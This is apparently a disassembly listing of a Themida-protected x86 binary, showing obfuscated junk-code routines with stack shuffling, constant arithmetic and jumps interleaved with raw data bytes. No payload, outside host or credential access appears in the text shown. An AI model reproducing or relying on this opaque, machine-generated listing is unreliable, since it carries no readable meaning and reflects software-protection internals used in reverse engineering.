		sub	edx, 473B636Ah
		push	edx
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		pop	edx
		jmp	loc_548CD3
; ---------------------------------------------------------------------------
		dd 1E1BE943h, 0BF570000h, 9A99E85Bh, 97E9F831h,	31000012h
		dd 34332434h, 0C6E95C24h, 53FFFFD0h, 271E14BBh,	1F57E951h
		dd 34FF0000h, 0DB55E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549522:				; CODE XREF: Themida_:0054710Fj
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		jmp	loc_552919
; ---------------------------------------------------------------------------
		db 81h
		dd 1D7C0CC3h, 0FFE9567Fh, 0D0FFFFFAh, 0DEB753EDh, 0FFDDA7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549545:				; CODE XREF: Themida_:0054C3EAj
		sub	edi, esi
		jmp	loc_54C82E
; ---------------------------------------------------------------------------
		dd 67E468h, 2C45E900h, 0C4810000h, 4, 0BA665266h, 31662E66h
		dd 665A66D5h, 6653D5F7h, 0E94D15BBh, 18ACh, 3D7BE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54957A:				; CODE XREF: Themida_:0054BFCCj
		push	1C8h
		mov	[esp], ebx
		pop	edx
		pop	ebx
		sub	edx, 16BF0DBEh
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 255A35F9h
		sub	ebx, 0E5D7D20Ch
		add	edx, ebx
		pop	ebx
		add	edx, 39430466h
		push	esi
		mov	esi, 64A76295h
		sub	esi, 0F64C4664h
		sub	edx, esi
		pop	esi
		sub	edx, eax
		jmp	loc_54FE96
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 4EC81h, 1C890000h, 0E0895024h, 0FFF97DE9h
		dd 16CF68FFh, 56593742h, 0E9C1E957h, 0C483FFFFh, 0C2F18104h
		dd 8776504Dh, 52514AD1h, 7CA8E9h, 4C48300h, 5E9F828h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549607:				; CODE XREF: Themida_:0054BF4Dj
		xchg	ebx, [esp]
		jmp	loc_54C311
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BF243C89h, 38065F16h, 1CEF68h, 241C8900h, 47700EBBh
		dd 0FF05E92Ah, 3433FFFFh, 4A685C24h, 89000027h,	0ECE92414h
		dd 8900002Ah, 4C381E3h,	0E9000000h, 0FFFFDDDBh,	4B850h
		dd 0E9810000h, 1D095D7Fh, 0C181C101h, 1D095D7Fh, 4C18158h
		dd 87000000h, 248B240Ch, 88CAE924h, 0DF010000h,	0FFE3A2E9h
		dd 58C301FFh, 76CBB850h, 0C4E91BC4h, 0FE00008Dh, 0E9C0FEC8h
		dd 1EDDh
; ---------------------------------------------------------------------------


loc_54968C:				; CODE XREF: Themida_:0054E3B2j
		mov	esi, 6F6533Bh
		add	eax, esi
		jmp	loc_54FF08
; ---------------------------------------------------------------------------
		dd 0B018D7B9h, 3DA1E90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5496A2:				; CODE XREF: Themida_:00549EB2j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54FCFD
; ---------------------------------------------------------------------------
		dd 5AD5285Bh, 8007E5C0h, 0DDF6AAEDh, 8475E9h, 36C28100h
		dd 0D11D6C6Bh, 81DAF7E2h, 2363C5F2h, 5AD389F1h,	0D87CFFBFh
		dd 5BDF3145h, 875FFE01h, 315C2434h, 0F0068C3h, 3C890000h
		dd 8D685224h, 8900003Ch, 0C389241Ch, 17E9DA89h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549707:				; CODE XREF: Themida_:0054934Ej
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_552028
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0E6E90000h, 81FFFFD6h, 0D61055C2h, 3910E944h, 48B0000h
		dd 4886E924h, 0F8280000h, 5F9DE9h, 0EB816600h, 9BE91B19h
		dd 1000050h, 60E95AD0h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54974F:				; CODE XREF: Themida_:00549A9Aj
		push	ebx
		push	7F92h
		mov	[esp], eax
		jmp	loc_54FA7C
; ---------------------------------------------------------------------------
aSI		db '\И%i',0
		dw 8100h
		dd 150DCBE9h, 81D10134h, 150DCBC1h, 0E95F5A34h,	0FFFFD230h
		dd 1C8BDD01h, 4C48124h,	0E9000000h, 0FFFFE710h
; ---------------------------------------------------------------------------


loc_549788:				; CODE XREF: Themida_:0054B74Aj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_550321
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8957241Ch, 4C781E7h,	81000000h, 4ECh, 24348900h, 6502BF57h
		dd 6BE125Eh, 15250B3h, 243C8BFEh, 4C481h, 0C7E90000h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5497D7:				; CODE XREF: Themida_:0054D5ACj
		mov	[esp], esi
		add	dword ptr [esp], 232A50E0h
		pop	eax
		push	ebp
		mov	ebp, 232A50E0h
		sub	eax, 72E1279Ah
		sub	eax, ebp
		add	eax, 72E1279Ah
		pop	ebp
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		push	edx
		mov	edx, 12C537EDh
		jmp	loc_54B022
; ---------------------------------------------------------------------------
		dd 0C12883B8h, 0D781051Bh, 0ADE9E43Eh, 1FFFFF9h, 0F91CE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549826:				; CODE XREF: Themida_:0054EA8Dj
		push	ecx
		dec	dword ptr [esp]
		jmp	loc_54AA22
; ---------------------------------------------------------------------------
aWsxv		db 'WИЕV',0
		dd 0E9C58900h, 144h, 0FF2434FFh, 0E9582434h, 501h, 17968h
		dd 24148900h, 8904EC83h, 0ACBD242Ch, 457C6638h,	1B12BA52h
		dd 0E9563C7Eh, 4080h, 0B8240489h, 0E92EBFh, 8158C321h
		dd 59572DF3h, 6889E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54987E:				; CODE XREF: Themida_:00551D0Bj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_551670
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0C1FFC383h, 0C38103E3h, 2B3F2D64h, 71E9DD01h, 68000085h
		dd 20A23B20h, 4EEC15Eh,	530EE946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5498AA:				; CODE XREF: Themida_:005481F1j
		add	ecx, 595619F3h
		add	ecx, esi
		jmp	loc_54EAD1
; ---------------------------------------------------------------------------
		db 0ADh
		dd 7489BD55h, 0EE294B8Eh, 0FFE459E9h, 53D3F7FFh, 5B2414F7h
		dd 0E904EC83h, 0FFFFFF94h, 0C75C281h, 14E914A9h, 0D000086h
		dd 34E9767Ah, 7F2CE9h, 4E1C000h, 369DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5498F1:				; CODE XREF: Themida_:00548F31j
		add	edi, 48F6219Fh
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 0CD06276h
		shl	esi, 3
		xor	esi, 3EF85E1Ch
		jmp	loc_54A152
; ---------------------------------------------------------------------------
		db 66h
		dd 5624048Bh, 0D0D68h, 24248900h, 4240483h, 0E92434FFh
		dd 4A1Ch
; ---------------------------------------------------------------------------


loc_54992C:				; CODE XREF: Themida_:0054D94Bj
		xor	edi, 3AFE76EDh
		jmp	loc_55053C
; ---------------------------------------------------------------------------
		db 0ADh
		dd 6AF8BA52h, 7E2D2303h, 53A6614h, 56EC3E5Dh, 5D2DD029h
		dd 5156EC3Eh, 0FFE829E9h, 1C77FFFFh, 6659669Dh,	9C2414D3h
		dd 4AA3E9h, 45B26800h, 2C890000h, 2BD24h, 0FDE90000h, 0B1FFFFF3h
		dd 0E9D9F6E4h, 588h, 8B5DEA89h,	0C4832404h, 50FA0104h
		dd 148B028Fh, 4C48124h,	0E9000000h, 37BFh, 0FFCC34E9h
		dd 8E2C1FFh, 7804C281h,	85E9020Fh, 5E000026h, 565AD001h
		dd 0FFDA43E9h, 40BDFFh,	33E90000h, 80000040h, 52666FF3h
		dd 0F3302EB6h, 700DE9h,	0C2815A00h, 4, 8704C283h, 8F5C2414h
		dd 0D35C2404h, 0EAE92424h, 66FFFFCBh, 68240C8Bh, 55B7h
		dd 0E9240489h, 7
; ---------------------------------------------------------------------------


loc_5499FC:				; CODE XREF: Themida_:0054C0E5j
		not	esi
		jmp	loc_547CE2
; ---------------------------------------------------------------------------
		db 89h
		dd 0F55E9E0h, 3C870000h, 60685C24h, 8900001Eh, 0E951243Ch
		dd 0FFFFEBFDh, 242C8B5Ch, 4C481h, 0AAE90000h, 8BFFFFCBh
		dd 0E9522424h, 87C0h
; ---------------------------------------------------------------------------


loc_549A34:				; CODE XREF: Themida_:0054A0FAj
		add	edi, 1B67F65h
		jmp	loc_54C874
; ---------------------------------------------------------------------------


loc_549A3F:				; CODE XREF: Themida_:0054D39Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54D1C3
; ---------------------------------------------------------------------------
		db 68h,	1Bh, 3Ah
		dd 0C890000h, 4B924h, 0CA010000h, 36CC6859h, 14890000h
		dd 2474FF24h, 24148B04h, 8F04C483h, 0F5C2404h, 31E9C8BEh
		dd 30000050h, 0F0285BFEh, 24ECE9h, 2CF80000h, 0B5515B5Ah
		dd 0E0B68Fh, 30E959EEh
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549A97:				; CODE XREF: Themida_:0055079Bj
		shr	ecx, 0Ah
		jmp	loc_54974F
; ---------------------------------------------------------------------------


loc_549A9F:				; CODE XREF: Themida_:0054A795j
		mov	ecx, 6E137002h
		jmp	loc_54E4FB
; ---------------------------------------------------------------------------
		db 1, 0EBh, 5Dh
		dd 5AE5BA52h, 33E90EA7h, 3100008Bh, 14332414h, 24143124h
		dd 0FFCB10E9h, 0FECDFEFFh, 0F6F586C5h, 0FEF586DEh, 73A6E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549AD6:				; CODE XREF: Themida_:0054CAF6j
		add	eax, 4BC70350h
		add	eax, ecx
		sub	eax, 4BC70350h
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5526F5
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0D3h
		dd 0F7659F05h, 57ED81DDh, 296F530Eh, 1BE95DEBh,	0AD000035h
		dd 73C8E957h, 0B8500000h, 23887F58h, 0B2E9C621h, 0B800000Ah
		dd 6B7782Fh, 5AADE955h,	48F0000h, 24248B24h, 40D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_549B2D:				; CODE XREF: Themida_:00548130j
		push	4CB2964h
		pop	esi
		jmp	loc_5515EC
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9830000h, 8A93E904h, 30590000h, 0CDBBE9F9h
		dd 0E6C1FFFFh, 0C4C68104h, 0E9140D43h, 0FFFFF827h, 4C481h
		dd 0F0E90000h, 6800002Eh, 13EFh, 7F03E9h, 2434FF00h, 4EC8158h
		dd 0E9000000h, 6881h
		db 89h,	0E1h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54A6C1
; ---------------------------------------------------------------------------
		db 8Fh
		dd 665C2404h, 9C2404D3h, 36B8E9h, 24148900h, 4E5258BAh
		dd 0FBEA8104h, 0E9061A09h, 6CAEh, 5966E800h, 112CD828h
		dd 0E940B753h, 0FFFFFB72h, 31240C33h, 21E9240Ch
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549BCF:				; CODE XREF: Themida_:00551F18j
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	304Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_54DF2D
; ---------------------------------------------------------------------------
		db 3, 62h, 38h
		dd 8904EC83h, 7768242Ch, 0FF353515h, 0F6E92434h, 89000030h
		dd 39682434h, 5400003Ch, 6BFEE9h, 88685100h, 0E900002Dh
		dd 22A7h
; ---------------------------------------------------------------------------


loc_549C18:				; CODE XREF: Themida_:loc_5505B3j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_546C19
		push	48D9h
		mov	[esp], esi
		mov	esi, 519C09BBh
		push	3248h
		mov	[esp], edx
		jmp	loc_54D1EA
; ---------------------------------------------------------------------------
aPirsag		db 'P┴ЮИМ┐',0
		align 4


loc_549C44:				; CODE XREF: Themida_:0054F1D3j
		add	esp, 4
		jmp	loc_54D5DB
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0BB5347EFh, 3E956408h, 0FFFA11E9h, 240C8BFFh, 66AE68h
		dd 242C8900h, 8953E589h, 4ECCE9E3h, 0CDBA0000h,	31F37994h
		dd 0D9D5E9D3h, 0F381FFFFh, 64CE67DBh, 15BDD89h,	0C0835DE8h
		dd 287E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549C92:				; CODE XREF: Themida_:0054CDDEj
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55278D
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 7FCCEA81h, 0D0291DC4h, 358EE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549CAE:				; CODE XREF: Themida_:0054C096j
		mov	[esp], edi
		add	dword ptr [esp], 4B530EAFh
		pop	eax
		sub	eax, 4B530EAFh
		pop	edi
		sub	esp, 4
		jmp	loc_552982
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED830000h, 74FF5504h, 8F5D0424h, 0E95C2404h
		dd 0FFFFE817h, 3A63FBB9h, 0E6E9813Fh, 29E0BC1Ah, 7485E9CFh
		dd 1C330000h, 24248B24h, 5944E9h, 61DDBE00h, 0F78967A1h
		dd 5FFD215Eh, 5606E5C1h, 997DFFBEh, 5EF52941h, 0E95DE831h
		dd 27D2h, 450492B5h, 0E953E828h, 193Ch,	3201C201h, 74C3E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549D36:				; CODE XREF: Themida_:00550016j
		add	ebx, edx
		jmp	loc_54BCAB
; ---------------------------------------------------------------------------
aYTvpsri	db 'Y',9,'бяБVPИ░┴',0
		dd 0E1895100h, 4C181h, 0E9830000h, 0D307E904h, 0C381FFFFh
		dd 4, 81E68956h, 4C6h, 43F2E900h, 0C4830000h, 4C48304h
		dd 0C39D615Fh, 0FFC858E9h, 240C33FFh, 33240C31h, 875C240Ch
		dd 248B2434h, 4096624h,	3EE99C24h, 5AFFFFC8h, 4246C81h
		dd 304B4B8Ch, 4244481h,	28BF61F4h, 4244C01h, 4246C81h
		dd 28BF61F4h, 4244481h,	304B4B8Ch, 83240C8Bh, 0B95104C4h
		dd 1C61EADh, 4244C01h, 81240C8Bh, 4C4h,	0C7FBE900h, 0E95AFFFFh
		dd 0FFFFF943h, 72357268h, 0C3815B00h, 26A975A4h, 0D5E1E943h
		dd 0E789FFFFh, 0FFDED4E9h, 575B54FFh, 82DAE9h, 0AE95C00h
		dd 66000033h, 0E9241489h, 2809h, 0E92434FFh, 47D7h
; ---------------------------------------------------------------------------


loc_549E18:				; CODE XREF: Themida_:0054A6D8j
		mov	eax, esi
		pop	esi
		pop	edx
		add	eax, edi
		push	ebx
		pop	dword ptr [eax]
		jmp	loc_54EBB1
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFF80Fh, 8F68EE88h, 89000039h, 0F188240Ch, 1874C88h
		dd 0E9595A59h, 0FFFFC791h
; ---------------------------------------------------------------------------


loc_549E44:				; CODE XREF: Themida_:0054A837j
		sub	edx, 1B2810C6h
		or	edx, 1F37597Ch
		shl	edx, 7
		add	edx, 2F636CC3h
		jmp	loc_54CAED
; ---------------------------------------------------------------------------
		dd offset dword_545350+18h
		dw 8900h
		dd 4832424h, 71E90424h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549E6F:				; CODE XREF: Themida_:005518C7j
		xchg	eax, [esp]
		jmp	loc_54EE8D
; ---------------------------------------------------------------------------


loc_549E77:				; CODE XREF: Themida_:0054DEA1j
		sub	eax, ebx
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54DFA5
; ---------------------------------------------------------------------------
aAiks04		db '─КkИ04',0
		dd 2B800h, 0C5810000h, 2A1758B1h, 0A0E9C501h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549EA3:				; CODE XREF: Themida_:0055056Fj
		pop	esp
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_5496A2
; ---------------------------------------------------------------------------
aS_6		db '^И,~',0
		db 0
; ---------------------------------------------------------------------------


loc_549EBD:				; CODE XREF: Themida_:00550465j
		push	1D27h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54C4E7
; ---------------------------------------------------------------------------


loc_549EE4:				; CODE XREF: Themida_:0054E524j
		mov	ebx, 2
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_55061C
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 0E95E240Ch, 56E6h, 0E904C183h, 456Ch, 8006C980h, 0CF30A3E9h
		dd 4CE78059h, 838E9h, 24043300h, 0FFD0C7E9h, 0B2E95AFFh
		dd 66000063h, 68240C8Bh, 1225h,	54242C89h, 83242C8Bh, 0C58104C4h
		dd 4, 69A3BE56h, 0F0E93148h, 51FFFFC7h,	0A83FC5B9h, 244C2958h
		dd 79E95904h, 89000034h, 0E5E92414h, 0BD000000h, 55F67CC5h
		dd 0C8E9E801h, 58000043h, 405h,	4C08300h, 5C240487h, 2474FF52h
		dd 48F5A04h, 24248B24h,	9C2424D2h, 0FFC644E9h, 240C8BFFh
		dd 615B68h, 241C8900h, 115568h,	24248900h, 4240483h, 29C7E9h
		dd 4EC8300h, 89242C89h,	1FD8E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549FBA:				; CODE XREF: Themida_:00552190j
		sub	dword ptr [esp], 7CA32DEAh
		pop	edx
		sub	edx, 0DAB273A9h
		jmp	loc_5519B3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 17476824h, 0C890000h, 0B0E95424h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549FDF:				; CODE XREF: Themida_:00551D2Aj
		mov	ecx, 0E4444A24h
		add	eax, ecx
		pop	ecx
		mov	ebp, eax
		pop	eax
		add	edx, 35762549h
		add	edx, ebp
		jmp	loc_54E138
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC5D9h
; ---------------------------------------------------------------------------


loc_549FFC:				; CODE XREF: Themida_:0054AF39j
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		jmp	loc_54EC69
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0F708E3C1h, 20E381D3h, 0F7393768h, 0DBEB81D3h, 89CEEA97h
		dd 0C8015BD9h, 7439E9h,	244C0100h, 0E9585908h, 0FFFFC595h
		dd 0E9535954h, 0FFFFCD35h, 689D68h, 24248900h, 4B951h
		dd 4C010000h, 0FF590424h, 70E92434h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A063:				; CODE XREF: Themida_:0054A14Dj
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_54F3D8
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4EC81h, 3C890000h, 4BF24h, 4E90000h, 8900004Dh, 86E92414h
		dd 51FFFFCBh, 408BBB53h, 78E90937h, 89000021h, 0EF015AD5h
		dd 243C335Dh, 0FFCAFFE9h, 81DBF7FFh, 377BDBF3h,	21C38163h
		dd 14D777Dh, 0E9835BD9h, 240C3304h, 72EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A0D1:				; CODE XREF: Themida_:005520A6j
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_54BF3F
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC4F5h
; ---------------------------------------------------------------------------


loc_54A0E0:				; CODE XREF: Themida_:0054E570j
		push	3D36h
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_54D563
; ---------------------------------------------------------------------------


loc_54A0F2:				; CODE XREF: Themida_:0054ED81j
		sub	edi, 1B67F65h
		sub	edi, ecx
		jmp	loc_549A34
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 5871E900h, 815F0000h, 7DD05C7h, 5FFE29A1h, 505EF501h
		dd 405E089h, 0E9000000h, 0FFFFDAF4h, 246C815Eh,	98640908h
		dd 247C2944h, 24448108h, 98640908h, 3C8B5F44h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54A063
; ---------------------------------------------------------------------------


loc_54A152:				; CODE XREF: Themida_:0054990Ej
		mov	ebx, esi
		pop	esi
		add	ebx, 61D52EC6h
		add	ebx, edi
		push	edx
		mov	edx, 61D52EC6h
		sub	ebx, edx
		jmp	loc_54C490
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240418h, 0FFC45CE9h, 2434FFFFh,	0FFC58DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A181:				; CODE XREF: Themida_:0054F499j
		shr	ebx, 6
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 65226E21h
		or	ecx, 12E16h
		or	ecx, 374360ACh
		add	ecx, 4A501612h
		add	ecx, 749562D3h
		or	ecx, 4D3D5F87h
		sub	ecx, 6B3D90BDh
		xor	ebx, ecx
		jmp	loc_54E6D0
; ---------------------------------------------------------------------------
		dw 34FFh
		db 24h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_548E3B
; ---------------------------------------------------------------------------


loc_54A1C6:				; CODE XREF: Themida_:0054FA49j
		pop	ebp
		sub	edi, esi
		push	eax
		mov	eax, 730081Ah
		xor	eax, 4948375Bh
		jmp	loc_552356
; ---------------------------------------------------------------------------
		db 5Bh,	89h, 0D8h
		dd 0E9241C8Bh, 1E9Ch, 4C48358h,	4BF57h,	0F9010000h, 74FF515Fh
		dd 8F590424h, 0F75C2404h, 1FF7E9F1h, 1C890000h,	5B69BB24h
		dd 2CE936DAh
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A20F:				; CODE XREF: Themida_:0054A303j
		dec	ebp
		or	ebp, 6B4260A5h
		sub	ebp, 21527E15h
		add	ebp, 0F2F54620h
		mov	eax, ebp
		jmp	loc_546BBF
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E951D828h, 0FFFFFAECh, 0E9241487h, 8628h
; ---------------------------------------------------------------------------


loc_54A23C:				; CODE XREF: Themida_:0054890Dj
		push	ecx
		jmp	loc_546BEF
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 19743FAh, 9AE9A5F3h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A24F:				; CODE XREF: Themida_:005487CBj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_54BFA4
; ---------------------------------------------------------------------------
		dw 6851h
		dd 62DE11CDh, 3E9C159h,	2791E9h, 0C8B6600h, 47EBE924h
		dd 0BF570000h, 4, 6666C681h, 70E97745h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A287:				; CODE XREF: Themida_:00546E8Aj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	461Eh
		mov	[esp], ebx
		mov	ebx, 137A66EEh
		xor	[esp+4], ebx
		pop	ebx
		mov	ebx, [esp]
		jmp	loc_54F3CD
; ---------------------------------------------------------------------------
		dd 8924248Bh, 6850243Ch, 11E26107h, 4B940558h, 0C5050BFEh
		dd 895C5EBEh, 0EFC158C7h, 0E457E905h, 0D001FFFFh, 4AF7BE56h
		dd 15E92A6Fh, 0FF00007Bh, 669D1C77h, 241CD259h,	0C2E7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A2EE:				; CODE XREF: Themida_:0054842Dj
		push	ebx
		mov	ebx, 1C2F3C22h
		xor	ebx, 6AAD0D2Dh
		xor	ebx, 0F66378h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_54A20F
; ---------------------------------------------------------------------------
		dd 6624248Bh, 5724048Bh, 0BE565F54h, 508330F1h,	43E9DEF7h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A31F:				; CODE XREF: Themida_:0054EA7Aj
		push	edx
		push	ecx
		mov	ch, 0D5h
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5466AF
; ---------------------------------------------------------------------------


loc_54A333:				; CODE XREF: Themida_:005503D0j
		pop	esp
		jmp	loc_5465D5
; ---------------------------------------------------------------------------


loc_54A339:				; CODE XREF: Themida_:0054F768j
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		xchg	edi, [esp]
		xchg	edx, edi
		xchg	esi, edx
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		push	412Fh
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54D58F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4EC8359h, 54240C89h,	0F2BEE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A38A:				; CODE XREF: Themida_:0054C554j
		pop	eax
		sub	edi, 8108829h
		add	eax, edi
		pop	edi
		push	eax
		sub	dword ptr [esp], 72652D64h
		pop	edx
		add	edx, 72652D64h
		mov	eax, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		xchg	eax, ebp
		xor	ebp, edx
		xor	edx, ebp
		jmp	loc_550C63
; ---------------------------------------------------------------------------
		dd 4B951h, 0CA010000h, 24148759h, 1FC5815Ch, 5925AA27h
		dd 0F1B2C581h, 0BD559477h, 7BAE4AD4h, 0DA09092Dh, 0E9E80174h
		dd 20Fh, 0B8C380h, 0F4B450D3h, 0FE71EC80h, 0D1EC80C4h
		dd 0FEAFCC80h, 8EC80C4h, 5A58E328h, 0E8B151h, 240C8BCBh
		dd 81E18951h, 4C1h, 0D70CE900h,	0FEB8FFFFh, 0C170004Bh
		dd 0C32D08E0h, 3518E649h, 38A40F78h, 9C6B0540h,	15E97969h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A43F:				; CODE XREF: Themida_:0054E016j
		sub	esi, ecx
		pop	ecx
		xor	esi, 2AA809A1h
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_54C599
; ---------------------------------------------------------------------------
		dd 2C381h, 9BE90000h, 68FFFFD8h, 3AB0h,	89241C89h, 1B951E3h
		dd 816FCB38h, 146654C1h, 3A98E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A48E:				; CODE XREF: Themida_:0055237Fj
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_54CBC4
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 19h
		dd 1006E7Eh, 0BB535DEFh, 4, 875BDF01h, 815C243Ch, 148F2404h
		dd 0E9554346h, 36EBh, 4EC81h, 34890000h, 2474FF24h, 48F5E04h
		dd 24248B24h, 0FF2434FFh, 2AE92434h, 8300000Bh,	77E904E8h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A4E7:				; CODE XREF: Themida_:00548D1Ej
		pop	ebx
		sub	esp, 4
		jmp	loc_54ED05
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF0h, 0FFC570E9h, 0EE95FFFh, 83FFFFDAh,	48704C0h
		dd 57595C24h, 0A23C32BFh, 5FF93171h, 6B2568h, 243C8900h
		dd 635EE9h, 24348900h, 0C681E689h, 4, 4C681h, 34330000h
		dd 0EFC9E924h, 0C481FFFFh, 4, 0E9242C33h, 0FFFFEB29h, 8758C301h
		dd 248B241Ch, 0BB0F6624h, 0E99C2404h, 0FFFFC079h, 243CD35Ch
		dd 0FA91E99Ch, 0EC88FFFFh, 1119E9h, 0B9515D00h,	3C0F0B2Dh
		dd 8159CE29h, 8E7489C6h, 691A684Bh, 14890000h, 56E28924h
		dd 4763E9h, 89D68900h, 815A5EF5h, 846424EDh, 2C815525h
		dd 124h, 0B8505D00h, 56B40B28h,	84B67B2Dh, 0C9ED8135h
